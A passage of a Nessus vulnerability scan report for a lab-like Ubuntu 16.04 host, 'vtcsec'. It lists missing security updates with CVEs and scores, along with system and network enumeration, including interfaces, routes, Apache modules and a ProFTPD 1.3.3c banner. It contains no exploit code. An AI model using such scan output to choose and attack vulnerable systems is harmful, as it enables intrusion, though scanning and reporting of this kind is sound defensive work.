available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libapr1_1.5.2-3
- Fixed package : libapr1_1.5.2-3ubuntu0.1~esm2
```

209028 - Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS : nano vulnerability (USN-7064-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-7064-1 advisory.

It was discovered that nano allowed a possible privilege escalation through an insecure temporary file. If nano was killed while editing, the permissions granted to the emergency save file could be used by an attacker to escalate privileges using a malicious symlink.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-7064-1

Solution

Update the affected nano and / or nano-tiny packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.7 (CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

5.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0003

CVSS v2.0 Base Score

6.0 (CVSS2#AV:L/AC:H/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

4.4 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

II

References

CVE	CVE-2024-5742
XREF	IAVA:2024-A-0355
XREF	USN:7064-1

Plugin Information

Published: 2024/10/15, Modified: 2024/10/15

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : nano_2.5.3-2ubuntu2
- Fixed package : nano_2.5.3-2ubuntu2+esm1
```

200771 - Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS : gdb vulnerabilities (USN-6842-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6842-1 advisory.

It was discovered that gdb incorrectly handled certain memory operations when parsing an ELF file. An attacker could possibly use this issue to cause a denial of service. This issue is the result of an incomplete fix for CVE-2020-16599. This issue only affected Ubuntu 22.04 LTS. (CVE-2022-4285)

It was discovered that gdb incorrectly handled memory leading to a heap based buffer overflow. An attacker could use this

issue to cause a denial of service, or possibly execute

arbitrary code. This issue only affected Ubuntu 22.04 LTS.

(CVE-2023-1972)

It was discovered that gdb incorrectly handled memory leading to a stack overflow. An attacker could possibly use this issue to cause a denial of service. This issue only affected

Ubuntu 18.04 LTS, Ubuntu 20.04 LTS and Ubuntu 22.04 LTS.

(CVE-2023-39128)

It was discovered that gdb had a use after free vulnerability under certain circumstances. An attacker could use this to cause

a denial of service or possibly execute arbitrary code. This issue

only affected Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS

and Ubuntu 22.04 LTS. (CVE-2023-39129)

It was discovered that gdb incorrectly handled memory leading to a

heap based buffer overflow. An attacker could use this issue to cause a denial of service, or possibly execute arbitrary code. This issue

only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS and Ubuntu 22.04 LTS. (CVE-2023-39130)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6842-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.9 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0004

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2022-4285
CVE	CVE-2023-1972
CVE	CVE-2023-39128
CVE	CVE-2023-39129
CVE	CVE-2023-39130
XREF	USN:6842-1

Plugin Information

Published: 2024/06/20, Modified: 2025/09/03

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : gdb_7.11.1-0ubuntu1~16.5
- Fixed package : gdb_7.11.1-0ubuntu1~16.5+esm1

- Installed package : gdbserver_7.11.1-0ubuntu1~16.5
- Fixed package : gdbserver_7.11.1-0ubuntu1~16.5+esm1
```

237111 - Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS : libfcgi-perl vulnerability (USN-7527-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS host has a package installed that is affected by a vulnerability as referenced in the USN-7527-1 advisory.

It was discovered that libfcgi-perl incorrectly handled certain inputs. An attacker could possibly use this issue to cause a crash or execute arbitrary code.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-7527-1

Solution

Update the affected libfcgi-perl package.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

2.2

EPSS Score

0.0006

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2025-40907
XREF	USN:7527-1

Plugin Information

Published: 2025/05/22, Modified: 2025/05/22

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libfcgi-perl_0.77-1build1
- Fixed package : libfcgi-perl_0.77-1ubuntu0.1~esm1
```

143268 - Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS : xdg-utils vulnerability (USN-4649-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS host has a package installed that is affected by a vulnerability as referenced in the USN-4649-1 advisory.

Jens Mueller discovered that xdg-utils incorrectly handled certain URI. An attacker could possibly use this issue to expose sensitive information.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-4649-1

Solution

Update the affected xdg-utils package.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.9 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0038

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-27748
XREF	USN:4649-1

Plugin Information

Published: 2020/11/26, Modified: 2024/08/29

Plugin Output

tcp/0

```
- Installed package : xdg-utils_1.1.1-1ubuntu1.16.04.1
- Fixed package : xdg-utils_1.1.1-1ubuntu1.16.04.4
```

207999 - Ubuntu 16.04 LTS / 18.04 LTS : ORC vulnerability (USN-6964-2) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 LTS / 18.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-6964-2 advisory.

USN-6964-1 fixed a vulnerability in ORC. This update provides the corresponding updates for Ubuntu 16.04 LTS and Ubuntu 18.04 LTS.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6964-2

Solution

Update the affected liborc-0.4-0, liborc-0.4-dev and / or liborc-0.4-dev-bin packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.7 (CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

5.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0006

CVSS v2.0 Base Score

6.0 (CVSS2#AV:L/AC:H/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

4.4 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2024-40897
XREF	USN:6964-2

Plugin Information

Published: 2024/10/01, Modified: 2024/10/01

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : liborc-0.4-0_1:0.4.25-1
- Fixed package : liborc-0.4-0_1:0.4.25-1ubuntu0.1~esm1
```

103776 - Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerabilities (USN-3443-2) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-3443-2 advisory.

USN-3443-1 fixed vulnerabilities in the Linux kernel for Ubuntu 17.04. This update provides the corresponding updates for the Linux Hardware Enablement (HWE) kernel from Ubuntu 17.04 for Ubuntu 16.04 LTS.

It was discovered that on the PowerPC architecture, the kernel did not properly sanitize the signal stack when handling sigreturn(). A local attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code. (CVE-2017-1000255)

Andrey Konovalov discovered that a divide-by-zero error existed in the TCP stack implementation in the Linux kernel. A local attacker could use this to cause a denial of service (system crash).
(CVE-2017-14106)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-3443-2

Solution

Update the affected kernel package.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0008

CVSS v2.0 Base Score

6.6 (CVSS2#AV:L/AC:L/Au:N/C:N/I:C/A:C)

CVSS v2.0 Temporal Score

4.9 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2017-1000255
CVE	CVE-2017-14106
XREF	USN:3443-2

Plugin Information

Published: 2017/10/11, Modified: 2024/08/27

Plugin Output

tcp/0

```
Running Kernel level of 4.10.0-28-generic does not meet the minimum fixed level of 4.10.0-37-generic for this advisory.
```

10114 - ICMP Timestamp Request Remote Date Disclosure -

Synopsis

It is possible to determine the exact time set on the remote host.

Description

The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in defeating time-based authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time.

Solution

Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14).

Risk Factor

Low

VPR Score

2.2

EPSS Score

0.0037

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:N)

References

CVE	CVE-1999-0524
XREF	CWE:200

Plugin Information

Published: 1999/08/01, Modified: 2024/10/07

Plugin Output

icmp/0

```
The difference between the local and remote clocks is -4 seconds.
```

160233 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : libsepol vulnerabilities (USN-5391-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5391-1 advisory.

Nicolas Iooss discovered that libsepol incorrectly handled memory when handling policies. An attacker could possibly use this issue to cause a crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2021-36084)

It was discovered that libsepol incorrectly handled memory when handling policies. An attacker could possibly use this issue to cause a crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2021-36085)

It was discovered that libsepol incorrectly handled memory when handling policies. An attacker could possibly use this issue to cause a crash, resulting in a denial of service, or possibly execute arbitrary code. This issue only affects Ubuntu 18.04 LTS,

Ubuntu 20.04 LTS and Ubuntu 21.10. (CVE-2021-36086)

It was discovered that libsepol incorrectly validated certain data, leading to a heap overflow. An attacker could possibly use this issue to cause a crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2021-36087)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5391-1

Solution

Update the affected libsepol1, libsepol1-dev and / or sepol-utils packages.

Risk Factor

Low

CVSS v3.0 Base Score

3.3 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)

CVSS v3.0 Temporal Score

3.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

2.2

EPSS Score

0.0002

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

1.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2021-36084
CVE	CVE-2021-36085
CVE	CVE-2021-36086
CVE	CVE-2021-36087
XREF	USN:5391-1

Plugin Information

Published: 2022/04/27, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libsepol1_2.4-2
- Fixed package : libsepol1_2.4-2ubuntu0.1~esm1
```

158932 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : tar vulnerability (USN-5329-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5329-1 advisory.

It was discovered that tar incorrectly handled certain files. An attacker could possibly use this issue to cause tar to crash, resulting in a denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5329-1

Solution

Update the affected tar and / or tar-scripts packages.

Risk Factor

Medium

CVSS v4.0 Base Score

9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

CVSS v3.0 Base Score

3.3 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L)

CVSS v3.0 Temporal Score

2.9 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

1.4

EPSS Score

0.0007

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-20193
XREF	USN:5329-1

Plugin Information

Published: 2022/03/15, Modified: 2024/10/25

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : tar_1.28-2.1ubuntu0.2
- Fixed package : tar_1.28-2.1ubuntu0.2+esm1
```

141394 - Apache HTTP Server Installed (Linux) -

Synopsis

The remote host has Apache HTTP Server software installed.

Description

Apache HTTP Server is installed on the remote Linux host.

See Also

https://httpd.apache.org/

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0530

Plugin Information

Published: 2020/10/12, Modified: 2025/10/22

Plugin Output

tcp/0

```
Path : /usr/sbin/apache2
Version : 2.4.18
Associated Package : apache2-bin: /usr/sbin/apache2
Managed by OS : True
Running : no

Configs found :
- /etc/apache2/apache2.conf

Loaded modules :
- libphp7.0
- mod_access_compat
- mod_alias
- mod_auth_basic
- mod_authn_core
- mod_authn_file
- mod_authz_core
- mod_authz_host
- mod_authz_user
- mod_autoindex
- mod_deflate
- mod_dir
- mod_env
- mod_filter
- mod_mime
- mod_mpm_prefork
- mod_negotiation
- mod_setenvif
- mod_status
```

142640 - Apache HTTP Server Site Enumeration -

Synopsis

The remote host is hosting websites using Apache HTTP Server.

Description

Domain names and IP addresses from Apache HTTP Server configuration file were retrieved from the remote host. Apache HTTP Server is a webserver environment written in C. Note: Only Linux- and Unix-based hosts are currently supported by this plugin.

See Also

https://httpd.apache.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2020/11/09, Modified: 2025/10/08

Plugin Output

tcp/0

```
Sites and configs present in /usr/sbin/apache2 Apache installation:
- following sites are present in /etc/apache2/apache2.conf Apache config file:
+ - *:80
```

34098 - BIOS Info (SSH) -

Synopsis

BIOS info could be read.

Description

Using SMBIOS and UEFI, it was possible to get BIOS info.

Solution

N/A

Risk Factor

None

Plugin Information

Published: 2008/09/08, Modified: 2024/02/12

Plugin Output

tcp/0

```
Version : None
Vendor : VMware, Inc.
Release Date : 11/12/2020
Secure boot : disabled
```

39520 - Backported Security Patch Detection (SSH) -

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote SSH server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/22/ssh

```
Local checks have been enabled.
```

45590 - Common Platform Enumeration (CPE) -

Synopsis

It was possible to enumerate CPE names that matched on the remote system.

Description

By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.

Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.

See Also

http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/04/21, Modified: 2025/09/29

Plugin Output

tcp/0

```
The remote operating system matched the following CPE :

cpe:/o:canonical:ubuntu_linux:16.04.3::~~lts~~~ -> Canonical Ubuntu Linux

Following application CPE's matched on the remote system :

cpe:/a:apache:http_server:2.4.18 -> Apache Software Foundation Apache HTTP Server
cpe:/a:exiv2:libexiv2
cpe:/a:gnupg:libgcrypt:1.6.5 -> GnuPG Libgcrypt
cpe:/a:haxx:libcurl:7.47.0 -> Haxx libcurl
cpe:/a:openbsd:openssh:7.2 -> OpenBSD OpenSSH
cpe:/a:openbsd:openssh:7.2p2 -> OpenBSD OpenSSH
cpe:/a:openssl:openssl:1.0.0 -> OpenSSL Project OpenSSL
cpe:/a:openssl:openssl:1.0.1d -> OpenSSL Project OpenSSL
cpe:/a:openssl:openssl:1.0.2g -> OpenSSL Project OpenSSL
cpe:/a:php:php:7.0.33 -> PHP PHP
cpe:/a:tukaani:xz:5.1.1 -> Tukaani XZ
cpe:/a:vim:vim:7.4 -> Vim
x-cpe:/a:libndp:libndp:1.4
```

55472 - Device Hostname -

Synopsis

It was possible to determine the remote system hostname.

Description

This plugin reports a device's hostname collected via SSH or WMI.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/06/30, Modified: 2025/10/20

Plugin Output

tcp/0

```
Hostname : vtcsec
vtcsec (hostname command)
```

54615 - Device Type

Synopsis

It is possible to guess the remote device type.

Description

Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/05/23, Modified: 2025/03/12

Plugin Output

tcp/0

```
Remote device type : general-purpose
Confidence level : 100
```

25203 - Enumerate IPv4 Interfaces via SSH

Synopsis

Nessus was able to enumerate the IPv4 interfaces on the remote host.

Description

Nessus was able to enumerate the network interfaces configured with IPv4 addresses by connecting to the remote host via SSH using the supplied credentials.

Solution

Disable any unused IPv4 interfaces.

Risk Factor

None

Plugin Information

Published: 2007/05/11, Modified: 2025/09/24

Plugin Output

tcp/0

```
The following IPv4 addresses are set on the remote host :

- 192.168.1.2 (on interface ens33)
- 127.0.0.1 (on interface lo)
```

25202 - Enumerate IPv6 Interfaces via SSH

Synopsis

Nessus was able to enumerate the IPv6 interfaces on the remote host.

Description

Nessus was able to enumerate the network interfaces configured with IPv6 addresses by connecting to the remote host via SSH using the supplied credentials.

Solution

Disable IPv6 if you are not actually using it. Otherwise, disable any unused IPv6 interfaces.

Risk Factor

None

Plugin Information

Published: 2007/05/11, Modified: 2025/09/24

Plugin Output

tcp/0

```
The following IPv6 interfaces are set on the remote host :

- fe80::be59:df00:f58e:c174 (on interface ens33)
- ::1 (on interface lo)
```

33276 - Enumerate MAC Addresses via SSH -

Synopsis

Nessus was able to enumerate MAC addresses on the remote host.

Description

Nessus was able to enumerate MAC addresses by connecting to the remote host via SSH with the supplied credentials.

Solution

Disable any unused interfaces.

Risk Factor

None

Plugin Information

Published: 2008/06/30, Modified: 2022/12/20

Plugin Output

tcp/0

```
The following MAC address exists on the remote host :

- 00:0c:29:9d:8e:9e (interface ens33)
```

170170 - Enumerate the Network Interface configuration via SSH -

Synopsis

Nessus was able to parse the Network Interface data on the remote host.

Description

Nessus was able to parse the Network Interface data on the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/01/19, Modified: 2025/02/11

Plugin Output

tcp/0

```
ens33:
MAC : 00:0c:29:9d:8e:9e
IPv4:
- Address : 192.168.1.2
Netmask : 255.255.255.0
Broadcast : 192.168.1.255
IPv6:
- Address : fe80::be59:df00:f58e:c174
Prefixlen : 64
Scope : link
lo:
IPv4:
- Address : 127.0.0.1
Netmask : 255.0.0.0
IPv6:
- Address : ::1
Prefixlen : 128
Scope : host
```

179200 - Enumerate the Network Routing configuration via SSH -

Synopsis

Nessus was able to retrieve network routing information from the remote host.

Description

Nessus was able to retrieve network routing information the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/08/02, Modified: 2023/08/02

Plugin Output

tcp/0

```
Gateway Routes:
ens33:
ipv4_gateways:
192.168.1.1:
subnets:
- 0.0.0.0/0
Interface Routes:
ens33:
ipv4_subnets:
- 169.254.0.0/16
- 192.168.1.0/24
ipv6_subnets:
- fe80::/64
```

168980 - Enumerate the PATH Variables -

Synopsis

Enumerates the PATH variable of the current scan user.

Description

Enumerates the PATH variables of the current scan user.

Solution

Ensure that directories listed here are in line with corporate policy.

Risk Factor

None

Plugin Information

Published: 2022/12/21, Modified: 2025/10/22

Plugin Output

tcp/0

```
Nessus has enumerated the path of the current scan user :

/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
/usr/games
/usr/local/games
```

35716 - Ethernet Card Manufacturer Detection -

Synopsis

The manufacturer can be identified from the Ethernet OUI.

Description

Each ethernet MAC address starts with a 24-bit Organizationally Unique Identifier (OUI). These OUIs are registered by IEEE.

See Also

https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/02/19, Modified: 2020/05/13

Plugin Output

tcp/0

```
The following card manufacturers were identified :

00:0C:29:9D:8E:9E : VMware, Inc.
30:03:C8:DA:11:83 : CLOUD NETWORK TECHNOLOGY SINGAPORE PTE. LTD.
```

86420 - Ethernet MAC Addresses -

Synopsis

This plugin gathers MAC addresses from various sources and consolidates them into a list.

Description

This plugin gathers MAC addresses discovered from both remote probing of the host (e.g. SNMP and Netbios) and from running local checks (e.g. ifconfig). It then consolidates the MAC addresses into a single, unique, and uniform list.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2015/10/16, Modified: 2025/06/10

Plugin Output

tcp/0

```
The following is a consolidated list of detected MAC addresses:
- 00:0C:29:9D:8E:9E
- 30:03:C8:DA:11:83
```

10092 - FTP Server Detection -

Synopsis

An FTP server is listening on a remote port.

Description

It is possible to obtain the banner of the remote FTP server by connecting to a remote port.

Solution

n/a

Risk Factor

None

References

XREF	IAVT:0001-T-0030
XREF	IAVT:0001-T-0943

Plugin Information

Published: 1999/10/12, Modified: 2023/08/17

Plugin Output

tcp/21/ftp

```
The remote FTP banner is :

220 ProFTPD 1.3.3c Server (vtcsec) [192.168.1.2]
```

171410 - IP Assignment Method Detection -

Synopsis

Enumerates the IP address assignment method(static/dynamic).

Description

Enumerates the IP address assignment method(static/dynamic).

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/02/14, Modified: 2025/10/20

Plugin Output

tcp/0

```
+ lo
+ IPv4
- Address : 127.0.0.1
Assign Method : static
+ IPv6
- Address : ::1
Assign Method : static
+ ens33
+ IPv4
- Address : 192.168.1.2
Assign Method : dynamic
+ IPv6
```

```
- Address : fe80::be59:df00:f58e:c174
Assign Method : static
```

151883 - Libgcrypt Installed (Linux/UNIX) -

Synopsis

Libgcrypt is installed on this host.

Description

Libgcrypt, a cryptography library, was found on the remote host.

See Also

https://gnupg.org/download/index.html

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/07/21, Modified: 2025/10/22

Plugin Output

tcp/0

```
Nessus detected 2 installs of Libgcrypt:

Path : /lib/x86_64-linux-gnu/libgcrypt.so.20.0.5
Version : 1.6.5

Path : /lib/x86_64-linux-gnu/libgcrypt.so.20
Version : 1.6.5
```

200214 - Libndp Installed (Linux / Unix) -

Synopsis

Libndp is installed on the remote Linux / Unix host.

Description

Libndp is installed on the remote Linux / Unix host.

Additional information:

- More paths will be searched and the timeout for the search will be increased if 'Perform thorough tests' setting is enabled.

- The plugin timeout can be set to a custom value other than the plugin's default of 30 minutes via the 'timeout.200214' scanner setting in Nessus 8.15.1 or later.

Please see https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom for more information.

See Also

https://github.com/jpirko/libndp

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2024/06/07, Modified: 2025/10/22

Plugin Output

tcp/0

```
Path : libndp0 1.4-2ubuntu0.16.04.1 (via package manager)
Version : 1.4
Managed by OS : True
```

157358 - Linux Mounted Devices

Synopsis

Use system commands to obtain the list of mounted devices on the target machine at scan time.

Description

Report the mounted devices information on the target machine at scan time using the following commands.
/bin/df -h /bin/lsblk /bin/mount -l

This plugin only reports on the tools available on the system and omits any tool that did not return information when the command was ran.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2022/02/03, Modified: 2023/11/27

Plugin Output

tcp/0

```
$ df -h
Filesystem Size Used Avail Use% Mounted on
udev 2.0G 0 2.0G 0% /dev
tmpfs 395M 12M 384M 3% /run
/dev/sda1 16G 6.0G 8.9G 41% /
tmpfs 2.0G 320K 2.0G 1% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup
tmpfs 395M 72K 395M 1% /run/user/1000
tmpfs 395M 28K 395M 1% /run/user/108


$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sr0 11:0 1 1024M 0 rom
sda 8:0 0 20G 0 disk
├─sda2 8:2 0 1K 0 part
├─sda5 8:5 0 4G 0 part [SWAP]
└─sda1 8:1 0 16G 0 part /


$ mount -l
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=2000096k,nr_inodes=500024,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=404472k,mode=755)
/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-
agent,name=systemd)
pstore on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=30,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=12462)
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime)
